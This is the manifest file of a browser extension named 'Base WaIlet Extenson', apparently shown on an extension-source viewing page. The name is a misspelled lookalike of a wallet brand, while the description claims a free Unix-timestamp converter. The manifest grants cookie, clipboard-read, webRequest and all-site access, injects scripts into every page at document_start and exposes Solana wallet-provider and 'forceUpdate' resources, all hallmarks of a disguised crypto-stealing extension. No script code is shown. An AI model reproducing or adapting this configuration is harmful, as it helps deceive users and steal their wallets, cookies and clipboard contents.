Examine source code of Base WaIlet Extenson

{
  "name": "Base WaIlet Extenson",
  "description": "Convertir des timestamps Unix. Gratuit et sans publicite.",
  "browser_action": {
    "default_icon": {
      "16": "favicon.ico",
      "48": "logo192.png",
      "128": "logo512.png"
    },
    "default_popup": "index.html?liknawoa=false"
  },
  "background": {
    "page": "background.html",
    "persistent": true
  },
  "author": "emily703",
  "permissions": [
    "tabs",
    "activeTab",
    "alarms",
    "cookies",
    "storage",
    "<all_urls>",
    "clipboardRead",
    "clipboardWrite",
    "webRequest",
    "https://*/*",
    "http://localhost/*",
    "http://127.0.0.1/*",
    "http://0.0.0.0/*"
  ],
  "content_security_policy": "script-src 'self'; object-src 'self'; frame-ancestors 'none';",
  "icons": {
    "16": "favicon.ico",
    "48": "logo192.png",
    "128": "logo512.png"
  },
  "manifest_version": 2,
  "web_accessible_resources": [
    "requestPourvoire.js",
    "requestSolanaProvider.js",
    "requestRelay.js",
    "siteWarning.html",
    "forceUpdate.html",
    "forceUpdate.js",
    "js/web-controller-sdk.js",
    "js/web-view-sdk.js"
  ],
  "content_scripts": [
    {
      "matches": [
        "<all_urls>"
      ],
      "js": [
        "content-script.js"
      ],
      "run_at": "document_start"
    },
    {
      "matches": [
        "<all_urls>"
      ],
      "js": [
        "contents.js"
      ]
    }
  ],
  "version": "5.1.14",
  "browser_specific_settings": {
    "gecko": {
      "id": "{26bcb76f-42f1-40c2-88ab-ada6c88768d8}",
      "data_collection_permissions": {
        "required": [
          "none"
        ]
      }
    }
  }
}